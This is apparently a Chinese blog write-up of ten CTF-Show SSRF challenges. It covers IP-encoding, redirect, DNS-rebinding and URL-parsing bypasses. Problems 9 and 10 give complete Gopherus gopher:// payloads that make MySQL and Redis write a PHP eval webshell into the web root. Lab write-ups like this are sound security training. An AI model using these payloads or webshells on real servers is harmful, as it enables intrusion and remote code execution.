CTF-Show-SSRF系列

CTF-Show-SSRF系列

参考资料

https://blog.csdn.net/ing_end/article/details/124369282

Problem 1

前置知识

curl是利用URL语法在命令行方式下工作的开源文件传输工具,他能够从互联网上获得各种各样的网络资源。简单来说,curl就是抓取页面,访问页面的升级版。

php curl函数详解:

思路

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
//curl_init — 初始化一个cURL会话
$ch=curl_init($url);
//设置一个cURL传输选项
//CURLOPT_HEADER: 如果你想把一个头包含在输出中,设置这个选项为一个非零值。
curl_setopt($ch, CURLOPT_HEADER, 0);
//CURLOPT_RETURNTRANSFER:将curl_exec获取的信息以文件流的形式返回,而不是直接输出;
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//执行一个cURL会话
$result=curl_exec($ch);
//关闭一个curl会话
curl_close($ch);
echo ($result);
?>

直接访问,发送post数据包:

url=http://127.0.0.1/flag.php

得到flag:
img

Problem 2

前置知识

php 中 parse_url()函数是解析 URL,并返回url的组成部分。

更多内容请参考:https://blog.csdn.net/weixin_33597080/article/details/115502741

思路

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
//过滤了localhost和127.0.0.1
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

我们可以使用将ip地址转换成十进制数字来进行绕过

127.0.0.1 => 2130706433

或者将127.0.0.1中的一部分转换成其他进制的数字来实现绕过

127.0.0.1 => 7F.0.0.1

直接访问:

十进制:url=http://2130706433/flag.php
十六进制:url=http://0x7F.0.0.1/flag.php

获得flag

img

img

Problem 3

思路

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
//相比于上一题,过滤更加细致
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

无法使用一部分转换成进制的方案,只能将ip地址全部转换成十进制进行绕过。

访问:

url=http://2130706433/flag.php

得到flag

img

Problem 4

思路

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
//过滤更加严格,无法使用十进制绕过
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

这道题可以采用302跳转来进行绕过。

原理:

由于直接访问:http://127.0.0.1/flag.php会进行过滤。那么,我们可以先请求一个外部服务器,再由外部服务器进行跳转请求http://127.0.0.1/flag.php。从而实现绕过。

在外部服务器的index.php中书写如下内容

<?php
//实现302跳转
header('HTTP/1.1 302 Moved Permanently'); 
header("Location:http://127.0.0.1/flag.php");
?>

再访问如下内容

url=http://你的域名/index.php

得到flag
img

Problem 5

思路

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
//提取url的host部分
$host=$x['host'];
//host部分长度需要小于5
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

这道题对url中的host部分做出了限制,我们可以采用缩写的形式进行绕过。

将127.0.0.1 => 127.1

url=http://127.1/flag.php

得到flag

img

Problem 6

思路

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
//长度需要小于等于3
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

继续采用缩写进行绕过。

将127.0.0.1 => 0
url=http://0/flag.php

得到flag

img

Problem 7

前置知识

gethostbyname — 返回主机名对应的 IPv4地址。 
filter_var — 使用特定的过滤器过滤一个变量,如果成功,则返回已过滤的数据,如果失败,则返回 false。
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_VALIDATE_IP	把值作为 IP 地址来验证。
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE:将私有范围内的IP视为无效
FILTER_FLAG_NO_RES_RANGE:将保留范围内的IP视为无效

上述内容来自于:https://blog.csdn.net/ing_end/article/details/124369282

dns重绑定:

最简单的说,DNS重绑定攻击就是通过恶意DNS服务器,对于一个相同的域名,在两次解析中返回不同的IP地址,实现攻击。其攻击的往往是处于内网中的目标。

上述内容来自于:https://www.cnblogs.com/hiddener/p/16225669.html

思路

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
//第一次解析url为ip地址
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
//一定保证是一个ip地址且非内网
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}

//访问文件时,会进行第二次解析
echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?> scheme

因此可以考虑使用302跳转或dns重绑定绕过,地址采用公网地址。

这里采用dns重绑定绕过

地址:https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg

绑定两个地址:127.0.0.1 120.46.69.195

之后在域名解析的过程中,就会随机的返回这两个地址。

访问:

url=http://7f000001.782e45c3.rbndr.us/index.php

在代码中执行时:

  • 第一次解析,会得到120.46.69.195
  • 第二次访问文件时,会得到127.0.0.1,从而绕过限制
  • 这需要运气。

多尝试几次,得到flag

img

Problem 8

思路

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
//保证url一定要以http://ctf.开头,以show结尾
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

我们可以使用如下payload,来进行绕过

url=http://ctf.@127.0.0.1/flag.php?show
url=http://ctf.@127.0.0.1/flag.php#show

得到flag

img

img

为什么?

<?php
//在访问文件,解析域名时,如果ctf.后面不加@,那么会将ctf.一起当作host来解析
//如果show的前面不加?/ #,那么会将show当作路径来解析
//?代表参数 #代表注释,都不会当作路径解析
$url="http://ctf.@127.0.0.1/flag.php?show";
$parse=parse_url($url);
print_r($parse);
/**
 *显示
 * Array
(
[scheme] => http
[host] => 127.0.0.1
[user] => ctf.
[path] => /flag.php
[query] => show
)
 */
?>

上述案例,来自于:https://blog.csdn.net/qq_45766062/article/details/121549676

Problem 9

前置知识

下载ssrf利用工具(ssrf+rce):https://github.com/tarunkant/Gopherus

前提:存在无密码的mysql,存在url的访问入口

思路

该网站存在一个登录页面,当进行登录时,会访问check.php。

在该php文件中,服务器会访问一个url,参数为returl。

  • 我们将returl设置为恶意url,根据题目的暗示:该网站存在一个无密码的mysql
  • 我们使用gopherus工具,生成恶意url,作用:将一句话木马写入到该网站的xxx.php中,只要服务器访问了该url,就会创建该文件。
  • 之后,我们通过rce,执行相关函数,获取flag。

img

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%47%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%78%78%78%2e%70%68%70%22%01%00%00%00%01

需要对_后面的内容,进行再一次的url编码

gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2547%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2578%2578%2578%252e%2570%2568%2570%2522%2501%2500%2500%2500%2501

将上述的payload,复制到returl中

img

代表已经成功写入

直接进行rce,得到flag

img

Problem 10

思路

仍然使用上述工具,生成payload,只不过这个是redis

步骤跟上一题差不多,这里直接上图片了

img

payload:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

再次进行url编码

gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

通过url参数进行输入(文件为:shell.php):

img

通过rce,获得flag

img

总结

ssrf利用和绕过姿势:

  • 127.0.0.1内网ip进行利用
  • 进制转换绕过
  • 缩写绕过
  • 302跳转
  • dns重绑定
  • gopher工具利用
  • @、?符号绕过
posted @   夏目^_^  阅读(32)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示